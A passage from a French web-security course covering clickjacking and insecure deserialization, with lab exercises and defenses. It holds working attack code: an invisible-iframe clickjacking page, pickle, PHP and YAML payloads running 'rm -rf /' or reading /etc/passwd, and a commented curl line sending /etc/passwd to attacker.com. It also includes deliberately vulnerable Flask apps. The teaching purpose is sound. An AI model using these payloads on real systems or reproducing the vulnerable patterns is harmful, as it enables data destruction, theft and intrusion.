document.addEventListener('mousemove', (e) => {
  // Affiche un faux curseur décalé
  fakeCursor.style.left = (e.pageX + 50) + 'px';
  fakeCursor.style.top = (e.pageY + 50) + 'px';
  
  // Cache le vrai curseur
  document.body.style.cursor = 'none';
});
```

L'utilisateur pense cliquer à un endroit, mais clique ailleurs !

---

#### 4. **UI Redressing**

Superpose des éléments UI pour créer une illusion.

```html
<!-- Fausse barre d'adresse -->
<div style="position: fixed; top: 0; width: 100%; background: white;">
  https://secure-bank.com [VERROUILLE]
</div>

<!-- Vrai contenu malveillant en-dessous -->
<iframe src="https://malicious-phishing.com"></iframe>
```

---

### Impact du Clickjacking

| Action | Impact | Exemple |
|--------|--------|---------|
| **Suppression de compte** | CRITIQUE | Réseaux sociaux |
| **Transfert d'argent** | CRITIQUE | Banque en ligne |
| **Activation webcam** | CRITIQUE | Espionnage |
| **Changement de permissions** | Élevé | OAuth scopes |
| **Like/Share involontaire** | Moyen | Propagation de spam |
| **Téléchargement malware** | Élevé | Exécution de code |

---

### Cas réels

**1. Adobe Flash (2008)**
- **Faille :** Clickjacking pour activer la webcam/micro
- **Impact :** Espionnage possible sans consentement

**2. Twitter (2009)**
- **Faille :** Likejacking - forcer les utilisateurs à "follow"
- **Impact :** Propagation virale de comptes malveillants

**3. Facebook (2010)**
- **Faille :** Clickjacking pour partager du contenu
- **Impact :** Spam massif sur les fils d'actualité

---

### Comment se protéger ?

#### [OK] **1. X-Frame-Options (Header HTTP)**

**Principe :**
Header qui contrôle si une page peut être affichée dans un `<iframe>`.

```python
from flask import Flask, make_response

@app.route('/dashboard')
def dashboard():
    response = make_response(render_template('dashboard.html'))
    
    # [OK] Interdire TOUS les iframes
    response.headers['X-Frame-Options'] = 'DENY'
    
    return response
```

**Valeurs possibles :**

| Valeur | Comportement |
|--------|--------------|
| `DENY` | Interdit **TOUS** les iframes |
| `SAMEORIGIN` | Autorise seulement les iframes du **même domaine** |
| `ALLOW-FROM https://trusted.com` | Autorise un domaine spécifique (déprécié) |

**Exemple SAMEORIGIN :**

```python
response.headers['X-Frame-Options'] = 'SAMEORIGIN'
```

Permet :
```html
<!-- [OK] Autorisé -->
<iframe src="https://mysite.com/page"></iframe>
```

Bloque :
```html
<!-- [X] Bloqué -->
<iframe src="https://evil.com/mysite-page"></iframe>
```

---

#### [OK] **2. Content-Security-Policy: frame-ancestors**

**Principe :**
Version moderne et plus flexible de X-Frame-Options.

```python
response.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
```

**Valeurs :**

| Directive | Comportement |
|-----------|--------------|
| `frame-ancestors 'none'` | Interdit tous les iframes |
| `frame-ancestors 'self'` | Autorise seulement même origine |
| `frame-ancestors https://trusted.com` | Autorise domaine spécifique |
| `frame-ancestors 'self' https://partner.com` | Multiple origines |

**Exemple complet :**

```python
@app.after_request
def add_security_headers(response):
    # [OK] Frame-ancestors pour protéger contre clickjacking
    csp = (
        "default-src 'self'; "
        "frame-ancestors 'none'; "  # Protection clickjacking
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline';"
    )
    response.headers['Content-Security-Policy'] = csp
    
    # Fallback pour anciens navigateurs
    response.headers['X-Frame-Options'] = 'DENY'
    
    return response
```

---

#### [OK] **3. Frame-busting JavaScript**

**Principe :**
Code JavaScript qui détecte si la page est dans un iframe et s'en échappe.

**[ATTENTION] Cette méthode est obsolète et contournable, utilisez les headers HTTP.**

```html
<script>
  // Vérifie si la page est dans un iframe
  if (window.top !== window.self) {
    // Si oui, remplace le parent par la page actuelle
    window.top.location = window.self.location;
  }
</script>
```

**Contournement possible :**

```html
<!-- L'attaquant peut bloquer le JavaScript -->
<iframe sandbox="allow-forms" src="https://victim.com"></iframe>
```

L'attribut `sandbox` désactive JavaScript dans l'iframe !

---

#### [OK] **4. SameSite Cookies**

Aide aussi contre le clickjacking en empêchant l'envoi des cookies dans les iframes cross-site.

```python
response.set_cookie(
    'session_id',
    value=token,
    samesite='Lax',  # ou 'Strict'
    httponly=True,
    secure=True
)
```

---

## [CODE] EXERCICE 6 : DÉMONSTRATION CLICKJACKING

### Objectif

Créer une application bancaire vulnérable et une page d'attaque clickjacking.

---

### PARTIE A : APPLICATION VICTIME

```python
# bank_clickjacking.py
from flask import Flask, render_template, session, redirect, url_for

app = Flask(__name__)
app.secret_key = 'demo_key'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/delete-account')
def delete_account_page():
    """
    Page de suppression de compte
    [X] VULNÉRABLE : Pas de X-Frame-Options
    """
    return render_template('delete_account.html')

@app.route('/delete-account-confirm', methods=['POST'])
def delete_account_confirm():
    """Simule la suppression du compte"""
    return render_template('account_deleted.html')

if __name__ == '__main__':
    print("[BANQUE] Application bancaire (victime) sur http://localhost:5000")
    app.run(debug=True, port=5000)
```

**Templates HTML :**

```html
<!-- templates/index.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Banque Demo</title>
    <style>
        body {
            font-family: Arial;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .button {
            background: #007bff;
            color: white;
            padding: 15px 30px;
            border: none;
            border-radius: 5px;
            text-decoration: none;
            display: inline-block;
            margin: 10px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>[BANQUE] Banque Demo</h1>
    <p>Bienvenue sur votre espace bancaire.</p>
    
    <a href="/delete-account" class="button">Gérer mon compte</a>
</body>
</html>
```

```html
<!-- templates/delete_account.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Supprimer le compte</title>
    <style>
        body {
            font-family: Arial;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .danger-button {
            background: #dc3545;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 5px;
            font-size: 18px;
            cursor: pointer;
            position: absolute;
            top: 300px;
            left: 400px;
        }
        .danger-button:hover {
            background: #c82333;
        }
    </style>
</head>
<body>
    <h1>[ATTENTION] Supprimer mon compte</h1>
    <p>Cette action est irréversible.</p>
    
    <form action="/delete-account-confirm" method="POST">
        <button type="submit" class="danger-button">
            SUPPRIMER DÉFINITIVEMENT
        </button>
    </form>
</body>
</html>
```

```html
<!-- templates/account_deleted.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Compte supprimé</title>
    <style>
        body {
            font-family: Arial;
            text-align: center;
            padding: 100px;
        }
        .message {
            color: #dc3545;
            font-size: 24px;
        }
    </style>
</head>
<body>
    <h1>[X] Compte supprimé</h1>
    <p class="message">Votre compte a été supprimé avec succès.</p>
</body>
</html>
```

---

### PARTIE B : PAGE D'ATTAQUE CLICKJACKING

```python
# attacker_site.py
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/evil-game')
def evil_game():
    """
    Page malveillante avec clickjacking
    """
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>[VIDEO_GAME] Jeu Gratuit - Cliquez vite !</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            overflow: hidden;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            font-family: Arial;
        }
        
        #game-container {
            position: relative;
            width: 100vw;
            height: 100vh;
        }
        
        /* [X] IFRAME INVISIBLE de la banque */
        #victim-iframe {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;  /* Complètement invisible */
            z-index: 10;  /* Au-dessus de tout */
            border: none;
        }
        
        /* Contenu visible (faux jeu) */
        #fake-game {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;  /* En-dessous */
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            color: white;
        }
        
        #fake-button {
            background: linear-gradient(135deg, #f6d365 0%, #fda085 100%);
            color: #333;
            padding: 30px 60px;
            font-size: 32px;
            border: none;
            border-radius: 15px;
            cursor: pointer;
            box-shadow: 0 10px 30px rgba(0,0,0,0.3);
            animation: pulse 1s infinite;
            font-weight: bold;
            position: absolute;
            top: 300px;
            left: 400px;
        }
        
        @keyframes pulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.05); }
        }
        
        .score {
            font-size: 48px;
            margin-bottom: 30px;
        }
        
        /* Toggle pour voir l'iframe (debug) */
        #debug-toggle {
            position: fixed;
            top: 10px;
            right: 10px;
            z-index: 100;
            background: rgba(0,0,0,0.7);
            color: white;
            padding: 10px;
            border-radius: 5px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <div id="game-container">
        <!-- [X] IFRAME INVISIBLE contenant la page de suppression -->
        <iframe 
            id="victim-iframe"
            src="http://localhost:5000/delete-account"
        ></iframe>
        
        <!-- Contenu visible (faux) -->
        <div id="fake-game">
            <div class="score">
                [OBJECTIF] Score: <span id="score">0</span>
            </div>
            <h1>Cliquez le plus vite possible !</h1>
            <button id="fake-button">
                CLIQUER ICI ! [VIDEO_GAME]
            </button>
        </div>
        
        <!-- Debug toggle -->
        <div id="debug-toggle" onclick="toggleIframe()">
            [EYE] Voir l'iframe cachée
        </div>
    </div>
    
    <script>
        let score = 0;
        let iframeVisible = false;
        
        document.getElementById('fake-button').addEventListener('click', () => {
            score++;
            document.getElementById('score').textContent = score;
            
            // Après le premier clic, afficher un message
            if (score === 1) {
                setTimeout(() => {
                    alert('[DANGER] CLICKJACKING !\\n\\nVous venez de cliquer sur le bouton "SUPPRIMER DÉFINITIVEMENT" caché dans l\\'iframe invisible !\\n\\nVotre compte bancaire a été supprimé. [SMILING_FACE_WITH_HORNS]');
                }, 1000);
            }
        });
        
        function toggleIframe() {
            const iframe = document.getElementById('victim-iframe');
            iframeVisible = !iframeVisible;
            iframe.style.opacity = iframeVisible ? '0.8' : '0';
            iframe.style.border = iframeVisible ? '3px solid red' : 'none';
        }
    </script>
</body>
</html>
    ''')

if __name__ == '__main__':
    print("[DANGER] Site d'attaque clickjacking sur http://localhost:8000")
    print("[OBJECTIF] Ouvrez http://localhost:8000/evil-game")
    app.run(debug=True, port=8000)
```

---

### PARTIE C : TESTER L'ATTAQUE

**1. Lancer les deux serveurs :**

```bash
# Terminal 1 : Site victime
python bank_clickjacking.py

# Terminal 2 : Site attaquant
python attacker_site.py
```

**2. Tester l'attaque :**

- Ouvrir http://localhost:8000/evil-game
- Cliquer sur le bouton "CLIQUER ICI ! [VIDEO_GAME]"
- **Résultat :** Vous cliquez en réalité sur le bouton "SUPPRIMER DÉFINITIVEMENT" caché !

**3. Voir l'iframe cachée :**

- Cliquer sur "[EYE] Voir l'iframe cachée" en haut à droite
- L'iframe devient visible -> Vous voyez que le bouton était superposé !

---

### PARTIE D : VERSION SÉCURISÉE

```python
# bank_secure_clickjacking.py
from flask import Flask, render_template, make_response

app = Flask(__name__)
app.secret_key = 'demo_key'

# [OK] Ajouter les headers de protection
@app.after_request
def add_security_headers(response):
    """
    Protection contre le clickjacking
    """
    # [OK] X-Frame-Options
    response.headers['X-Frame-Options'] = 'DENY'
    
    # [OK] CSP frame-ancestors
    response.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
    
    return response

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/delete-account')
def delete_account_page():
    """
    [OK] SÉCURISÉ : Headers empêchent l'iframe
    """
    return render_template('delete_account.html')

@app.route('/delete-account-confirm', methods=['POST'])
def delete_account_confirm():
    return render_template('account_deleted.html')

if __name__ == '__main__':
    print("[SECURITE]  Application bancaire SÉCURISÉE sur http://localhost:5002")
    print("[OK] Protection : X-Frame-Options + CSP frame-ancestors")
    app.run(debug=True, port=5002)
```

**Tester la protection :**

1. Lancer le serveur sécurisé : `python bank_secure_clickjacking.py`
2. Modifier l'iframe dans `attacker_site.py` : `src="http://localhost:5002/delete-account"`
3. Relancer le site d'attaque
4. **Résultat :** Le navigateur **refuse** d'afficher l'iframe !

**Message d'erreur dans la console :**
```
Refused to display 'http://localhost:5002/delete-account' in a frame because it set 'X-Frame-Options' to 'DENY'.
```

---

## [GRAPHIQUE] RÉCAPITULATIF CLICKJACKING

### [OK] Protections essentielles

| Protection | Efficacité | Facilité | Support navigateurs |
|-----------|-----------|----------|---------------------|
| X-Frame-Options | ***** | [OK] Facile | 99% |
| CSP frame-ancestors | ***** | [OK] Facile | 95% (moderne) |
| SameSite Cookies | *** | [OK] Facile | Complément |
| Frame-busting JS | ** | [OK] Facile | [ATTENTION] Contournable |

---

### [X] Erreurs communes

- [X] Oublier les headers X-Frame-Options/CSP
- [X] Utiliser seulement du JavaScript (contournable)
- [X] Utiliser `ALLOW-FROM` (déprécié, non supporté)
- [X] Ne protéger que certaines pages (protéger TOUTES)

---

*(Je continue maintenant avec les autres failles OWASP : Insecure Deserialization, Security Misconfiguration, etc. ?)*

# 5. INSECURE DESERIALIZATION

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que la Désérialisation ?

**Sérialisation :**
Processus de conversion d'un **objet en mémoire** -> **format de données** (bytes, JSON, XML) pour le stockage ou la transmission.

**Désérialisation :**
Processus inverse : **format de données** -> **objet en mémoire**

**Analogie simple :**

Imagine que tu veux envoyer un gâteau par la poste :
- **Sérialisation** : Tu transformes le gâteau en liste d'ingrédients et instructions (recette)
- **Envoi** : Tu envoies la recette
- **Désérialisation** : Le destinataire reconstruit le gâteau à partir de la recette

Le problème ? Si l'attaquant modifie la recette pour ajouter du poison... [SKULL]

---

### Comment fonctionne l'attaque ?

**Code Python vulnérable :**

```python
import pickle
from flask import Flask, request, session

app = Flask(__name__)

@app.route('/save-preferences', methods=['POST'])
def save_preferences():
    """
    Sauvegarde les préférences utilisateur
    """
    preferences = request.json
    
    # [X] VULNÉRABLE : Sérialisation avec pickle
    serialized = pickle.dumps(preferences)
    session['prefs'] = serialized
    
    return {"success": True}

@app.route('/load-preferences')
def load_preferences():
    """
    Charge les préférences utilisateur
    """
    serialized = session.get('prefs')
    
    # [X] VULNÉRABLE : Désérialisation sans validation !
    preferences = pickle.loads(serialized)
    
    return preferences
```

**Pourquoi c'est dangereux ?**

`pickle` peut **exécuter du code arbitraire** lors de la désérialisation !

---

### Exploitation avec Pickle

**Créer un payload malveillant :**

```python
import pickle
import os

class EvilObject:
    """
    Objet malveillant qui exécute du code lors de la désérialisation
    """
    def __reduce__(self):
        # [X] Cette fonction est appelée lors de pickle.loads()
        # Elle peut exécuter N'IMPORTE QUELLE commande !
        return (os.system, ('rm -rf / --no-preserve-root',))

# Sérialiser l'objet malveillant
evil_payload = pickle.dumps(EvilObject())

print("Payload malveillant :", evil_payload.hex())
```

**Attaque :**

```python
# L'attaquant envoie ce payload dans le cookie session
# Quand l'application fait pickle.loads(session['prefs'])
# -> La commande os.system('rm -rf /') s'exécute !
# -> CATASTROPHE : Suppression complète du système ! [IMPACT]
```

---

### Autres formats vulnérables

#### 1. **Python Pickle**

```python
import pickle

# [X] DANGEREUX
data = pickle.loads(untrusted_data)
```

**Pourquoi ?** Pickle peut instancier des objets et exécuter du code via `__reduce__()`.

---

#### 2. **PHP unserialize()**

```php
<?php
// [X] DANGEREUX
$obj = unserialize($_COOKIE['data']);
?>
```

**Exploitation :**

```php
// Créer un objet malveillant
class Evil {
    function __destruct() {
        // Exécuté automatiquement
        system('cat /etc/passwd');
    }
}

// Sérialiser
$payload = serialize(new Evil());
// Envoyer dans cookie
```

---

#### 3. **Java ObjectInputStream**

```java
// [X] DANGEREUX
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
```

**Exploitation :** Gadget chains (Apache Commons Collections).

---

#### 4. **YAML (Python)**

```python
import yaml

# [X] DANGEREUX
data = yaml.load(untrusted_yaml)
```

**Exploitation :**

```yaml
!!python/object/apply:os.system
args: ['rm -rf /']
```

---

### Impact d'Insecure Deserialization

| Impact | Gravité | Exemple |
|--------|---------|---------|
| **Remote Code Execution (RCE)** | CRITIQUE | Exécution de commandes système |
| **Privilege Escalation** | CRITIQUE | Devenir admin |
| **DoS** | Élevé | Désérialisation de gros objets |
| **Authentification Bypass** | CRITIQUE | Modification des attributs d'objet |

---

### Cas réels

**1. Apache Struts (Equifax, 2017)**
- **Faille :** Insecure deserialization dans Struts
- **Impact :** 147 millions de dossiers de crédit volés
- **Coût :** $700 millions d'amende

**2. Jenkins (2017)**
- **Faille :** Désérialisation Java
- **Impact :** RCE sur serveurs CI/CD

**3. Django (CVE-2015-5963)**
- **Faille :** Désérialisation pickle dans sessions
- **Impact :** RCE possible

---

### Comment se protéger ?

#### [OK] **1. Ne JAMAIS utiliser pickle/unserialize sur données non fiables**

```python
# [X] JAMAIS FAIRE ÇA
preferences = pickle.loads(request.data)

# [OK] Utiliser JSON à la place
import json
preferences = json.loads(request.data)
```

**Pourquoi JSON est sûr ?**
- JSON ne peut représenter que des **données** (strings, numbers, arrays, objects)
- **PAS de code**, pas d'objets, pas de fonctions
- Impossible d'exécuter du code lors du parsing

---

#### [OK] **2. Utiliser des formats sûrs**

| Format | Sécurité | Usage |
|--------|----------|-------|
| **JSON** | [OK] Sûr | Données simples |
| **MessagePack** | [OK] Sûr | JSON binaire |
| **Protocol Buffers** | [OK] Sûr | Google, haute performance |
| **YAML (safe_load)** | [OK] Sûr | Config (avec safe_load uniquement) |
| **pickle** | [X] Dangereux | JAMAIS sur données externes |
| **PHP unserialize** | [X] Dangereux | JAMAIS sur données externes |

**Exemple sécurisé avec JSON :**

```python
import json
from flask import Flask, request, session

@app.route('/save-preferences', methods=['POST'])
def save_preferences_secure():
    preferences = request.json
    
    # [OK] SÉCURISÉ : JSON
    session['prefs'] = json.dumps(preferences)
    
    return {"success": True}

@app.route('/load-preferences')
def load_preferences_secure():
    prefs_json = session.get('prefs')
    
    # [OK] SÉCURISÉ : JSON ne peut pas exécuter de code
    preferences = json.loads(prefs_json)
    
    return preferences
```

---

#### [OK] **3. YAML safe_load (au lieu de load)**

```python
import yaml

# [X] DANGEREUX
data = yaml.load(untrusted_yaml)

# [OK] SÉCURISÉ
data = yaml.safe_load(untrusted_yaml)
```

`safe_load()` désactive l'exécution de code Python.

---

#### [OK] **4. Signature cryptographique**

Si vous DEVEZ utiliser pickle (cas très rares), signez les données.

```python
import pickle
import hmac
import hashlib

SECRET_KEY = b'very_secret_key_change_me'

def secure_pickle_dumps(obj):
    """Sérialise et signe avec HMAC"""
    pickled = pickle.dumps(obj)
    signature = hmac.new(SECRET_KEY, pickled, hashlib.sha256).digest()
    return signature + pickled

def secure_pickle_loads(data):
    """Vérifie la signature avant de désérialiser"""
    signature = data[:32]  # SHA256 = 32 bytes
    pickled = data[32:]
    
    # Vérifier la signature
    expected_signature = hmac.new(SECRET_KEY, pickled, hashlib.sha256).digest()
    
    if not hmac.compare_digest(signature, expected_signature):
        raise ValueError("Signature invalide - données altérées !")
    
    # [OK] Seulement si signature valide
    return pickle.loads(pickled)
```

**[ATTENTION] Attention :** Même avec signature, pickle reste risqué. Privilégiez JSON.

---

#### [OK] **5. Validation stricte du type**

```python
def validate_preferences(prefs):
    """Valide la structure des préférences"""
    if not isinstance(prefs, dict):
        raise ValueError("Préférences doivent être un dict")
    
    allowed_keys = {'theme', 'language', 'notifications'}
    if not set(prefs.keys()).issubset(allowed_keys):
        raise ValueError("Clés non autorisées")
    
    if 'theme' in prefs and prefs['theme'] not in ['dark', 'light']:
        raise ValueError("Thème invalide")
    
    return True

# Utilisation
prefs = json.loads(data)
validate_preferences(prefs)
```

---

#### [OK] **6. Désérialiser dans un environnement isolé**

Si désérialisation absolument nécessaire :

```python
import subprocess
import json

def safe_deserialize(data):
    """
    Désérialise dans un processus séparé sans privilèges
    """
    # Créer un script temporaire
    script = f"""
import pickle
import sys
data = sys.stdin.buffer.read()
obj = pickle.loads(data)
print(obj)
    """
    
    # Exécuter dans un processus isolé
    result = subprocess.run(
        ['python3', '-c', script],
        input=data,
        capture_output=True,
        timeout=1,  # Limite de temps
        user='nobody'  # Utilisateur sans privilèges
    )
    
    return result.stdout
```

---

## [CODE] EXERCICE 7 : DÉSÉRIALISATION VULNÉRABLE

### Objectif

Créer une application de notes avec :
- Sauvegarde de notes en session
- Démonstration d'exploitation pickle
- Migration vers JSON sécurisé

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# notes_app_vulnerable.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import pickle
import base64

app = Flask(__name__)
app.secret_key = 'insecure_key'
CORS(app, supports_credentials=True)

# [X] ROUTE VULNÉRABLE : Sauvegarder une note
@app.route('/api/notes', methods=['POST'])
def save_note():
    """
    Sauvegarde une note
    VULNÉRABLE : Utilise pickle pour sérialiser
    """
    data = request.json
    note = {
        'title': data.get('title'),
        'content': data.get('content'),
        'color': data.get('color', 'yellow')
    }
    
    # [X] DANGEREUX : pickle.dumps()
    serialized = pickle.dumps(note)
    
    # Encoder en base64 pour stocker dans session
    encoded = base64.b64encode(serialized).decode('utf-8')
    
    if 'notes' not in session:
        session['notes'] = []
    
    session['notes'].append(encoded)
    session.modified = True
    
    return jsonify({"success": True, "note_count": len(session['notes'])})

# [X] ROUTE VULNÉRABLE : Charger les notes
@app.route('/api/notes', methods=['GET'])
def load_notes():
    """
    Charge toutes les notes
    VULNÉRABLE : pickle.loads() sur données session
    """
    encoded_notes = session.get('notes', [])
    notes = []
    
    for encoded in encoded_notes:
        # Décoder base64
        serialized = base64.b64decode(encoded)
        
        # [X] VULNÉRABLE : Désérialisation sans validation !
        note = pickle.loads(serialized)
        notes.append(note)
    
    return jsonify(notes)

# [X] ROUTE VULNÉRABLE : Importer des notes (TRÈS DANGEREUX)
@app.route('/api/import-notes', methods=['POST'])
def import_notes():
    """
    Importe des notes depuis un fichier
    VULNÉRABLE : Accepte pickle directement !
    """
    data = request.json
    encoded_data = data.get('data')
    
    # [X] EXTRÊMEMENT DANGEREUX
    serialized = base64.b64decode(encoded_data)
    imported_notes = pickle.loads(serialized)
    
    if 'notes' not in session:
        session['notes'] = []
    
    # Ajouter les notes importées
    for note in imported_notes:
        serialized_note = pickle.dumps(note)
        encoded_note = base64.b64encode(serialized_note).decode('utf-8')
        session['notes'].append(encoded_note)
    
    session.modified = True
    
    return jsonify({"success": True, "imported_count": len(imported_notes)})

if __name__ == '__main__':
    print("[NOTE] Application de notes VULNÉRABLE sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Utilise pickle pour la sérialisation !")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : SCRIPT D'EXPLOITATION

```python
# exploit_pickle.py
import pickle
import base64
import os

class EvilNote:
    """
    Objet malveillant qui exécute du code lors de la désérialisation
    """
    def __reduce__(self):
        # [X] Cette fonction s'exécute lors de pickle.loads()
        
        # Exemple 1 : Afficher un message
        # return (os.system, ('echo "VOUS AVEZ ÉTÉ HACKÉ !" > /tmp/hacked.txt',))
        
        # Exemple 2 : Créer un fichier
        return (os.system, ('touch /tmp/pwned_by_pickle',))
        
        # Exemple 3 : Exfiltrer des données
        # return (os.system, ('curl https://attacker.com?data=$(cat /etc/passwd)',))

# Créer une liste de "notes" malveillantes
evil_notes = [
    {
        'title': 'Note innocente',
        'content': 'Tout va bien...',
        'color': 'blue'
    },
    EvilNote()  # [X] Note malveillante
]

# Sérialiser avec pickle
pickled = pickle.dumps(evil_notes)

# Encoder en base64
payload = base64.b64encode(pickled).decode('utf-8')

print("=" * 80)
print("PAYLOAD MALVEILLANT (Pickle)")
print("=" * 80)
print("\nCollez ce payload dans l'interface d'importation :\n")
print(payload)
print("\n" + "=" * 80)
print("\nQuand l'application fera pickle.loads(), la commande os.system() s'exécutera !")
print("Vérifiez ensuite : ls -la /tmp/pwned_by_pickle")
print("=" * 80)
```

**Lancer le script :**

```bash
python exploit_pickle.py
```

**Résultat :**
```
================================================================================
PAYLOAD MALVEILLANT (Pickle)
================================================================================

Collez ce payload dans l'interface d'importation :

gASVXgAAAAAAAABdlCh9lCiMBXRpdGxllIwPTm90ZSBpbm5vY2VudGWUjAdjb250ZW50lIwOVG91dCB2YSBiaWVuLi4ulIwFY29sb3KUjARibHVllHVjcG9zaXgKc3lzdGVtCpSMG3RvdWNoIC90bXAvcHduZWRfYnlfcGlja2xllIWUUpRlLg==

================================================================================

Quand l'application fera pickle.loads(), la commande os.system() s'exécutera !
Vérifiez ensuite : ls -la /tmp/pwned_by_pickle
================================================================================
```

---

### PARTIE C : FRONTEND REACT

```bash
npx create-react-app notes-deserialization
cd notes-deserialization
```

```javascript
// src/App.js
import React, { useState, useEffect } from 'react';
import './App.css';

function App() {
  const [notes, setNotes] = useState([]);
  const [title, setTitle] = useState('');
  const [content, setContent] = useState('');
  const [color, setColor] = useState('yellow');
  const [importData, setImportData] = useState('');
  const [attackMode, setAttackMode] = useState(false);

  // Charger les notes
  const fetchNotes = async () => {
    try {
      const response = await fetch('http://localhost:5000/api/notes', {
        credentials: 'include'
      });
      const data = await response.json();
      setNotes(data);
    } catch (error) {
      console.error('Erreur chargement notes:', error);
    }
  };

  useEffect(() => {
    fetchNotes();
  }, []);

  // Créer une note
  const handleCreateNote = async (e) => {
    e.preventDefault();
    
    await fetch('http://localhost:5000/api/notes', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include',
      body: JSON.stringify({ title, content, color })
    });

    setTitle('');
    setContent('');
    fetchNotes();
  };

  // Importer des notes
  const handleImport = async (e) => {
    e.preventDefault();
    
    try {
      await fetch('http://localhost:5000/api/import-notes', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        credentials: 'include',
        body: JSON.stringify({ data: importData })
      });

      alert('[OK] Notes importées avec succès !');
      setImportData('');
      fetchNotes();
    } catch (error) {
      alert('[X] Erreur lors de l\'importation');
    }
  };

  return (
    <div className="App">
      <header className="App-header">
        <h1>[NOTE] Application de Notes</h1>
      </header>

      <div className="container">
        {/* TOGGLE ATTACK MODE */}
        <div className="attack-toggle">
          <button onClick={() => setAttackMode(!attackMode)}>
            {attackMode ? '[SECURITE] Mode Normal' : '[DANGER] Mode Attaque'}
          </button>
        </div>

        {/* ATTACK PANEL */}
        {attackMode && (
          <div className="attack-panel">
            <h2>[DANGER] Exploitation Pickle Deserialization</h2>
            
            <div className="attack-info">
              <h3>Comment exploiter cette vulnérabilité :</h3>
              <ol>
                <li>Lancez le script : <code>python exploit_pickle.py</code></li>
                <li>Copiez le payload généré</li>
                <li>Collez-le dans le champ "Importer des notes" ci-dessous</li>
                <li>Cliquez sur "Importer"</li>
                <li>Vérifiez : <code>ls -la /tmp/pwned_by_pickle</code></li>
              </ol>

              <div className="warning-box">
                [ATTENTION] Le fichier /tmp/pwned_by_pickle sera créé sur le serveur !
                Cela prouve que du code arbitraire a été exécuté.
              </div>
            </div>

            <div className="vulnerability-explanation">
              <h3>Pourquoi c'est vulnérable ?</h3>
              <pre>{`# Backend vulnérable
serialized = base64.b64decode(encoded_data)
imported_notes = pickle.loads(serialized)  # [X] DANGER !

# Pickle peut exécuter du code via __reduce__()
class EvilNote:
    def __reduce__(self):
        return (os.system, ('touch /tmp/pwned',))
`}</pre>
            </div>
          </div>
        )}

        {/* CRÉER UNE NOTE */}
        <div className="create-section">
          <h2>+ Créer une note</h2>
          
          <form onSubmit={handleCreateNote}>
            <input
              type="text"
              placeholder="Titre"
              value={title}
              onChange={(e) => setTitle(e.target.value)}
              required
            />
            <textarea
              placeholder="Contenu"
              value={content}
              onChange={(e) => setContent(e.target.value)}
              rows="4"
              required
            />
            <select value={color} onChange={(e) => setColor(e.target.value)}>
              <option value="yellow">[JAUNE] Jaune</option>
              <option value="blue">[BLEU] Bleu</option>
              <option value="green">[VERT] Vert</option>
              <option value="pink">[PINK_HEART] Rose</option>
            </select>
            <button type="submit">Créer</button>
          </form>
        </div>

        {/* IMPORTER DES NOTES */}
        <div className="import-section">
          <h2>[ENTREE] Importer des notes</h2>
          
          <form onSubmit={handleImport}>
            <textarea
              placeholder="Collez le payload pickle en base64..."
              value={importData}
              onChange={(e) => setImportData(e.target.value)}
              rows="4"
            />
            <button type="submit">Importer</button>
          </form>
        </div>

        {/* AFFICHER LES NOTES */}
        <div className="notes-section">
          <h2>[LISTE] Mes notes ({notes.length})</h2>
          
          <div className="notes-grid">
            {notes.map((note, index) => (
              <div key={index} className={`note note-${note.color}`}>
                <h3>{note.title}</h3>
                <p>{note.content}</p>
              </div>
            ))}
          </div>
        </div>
      </div>
    </div>
  );
}

export default App;
```

---

### PARTIE D : CSS

```css
/* src/App.css */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  min-height: 100vh;
}

.App-header {
  background: rgba(0, 0, 0, 0.6);
  color: white;
  padding: 2rem;
  text-align: center;
}

.container {
  max-width: 1400px;
  margin: 2rem auto;
  padding: 0 2rem;
}

.attack-toggle {
  text-align: center;
  margin-bottom: 2rem;
}

.attack-toggle button {
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 1rem 3rem;
  font-size: 1.2rem;
  border-radius: 50px;
  cursor: pointer;
  box-shadow: 0 4px 15px rgba(255, 68, 68, 0.4);
  transition: all 0.3s;
  font-weight: bold;
}

.attack-toggle button:hover {
  transform: translateY(-3px);
  box-shadow: 0 6px 20px rgba(255, 68, 68, 0.6);
}

.attack-panel {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  margin-bottom: 2rem;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
}

.attack-panel h2 {
  color: #ff4444;
  margin-bottom: 1.5rem;
}

.attack-info {
  background: #fff3cd;
  border-left: 4px solid #ffc107;
  padding: 1.5rem;
  margin: 1rem 0;
  border-radius: 8px;
}

.attack-info h3 {
  color: #856404;
  margin-bottom: 1rem;
}

.attack-info ol {
  color: #856404;
  padding-left: 1.5rem;
}

.attack-info li {
  margin: 0.5rem 0;
}

.attack-info code {
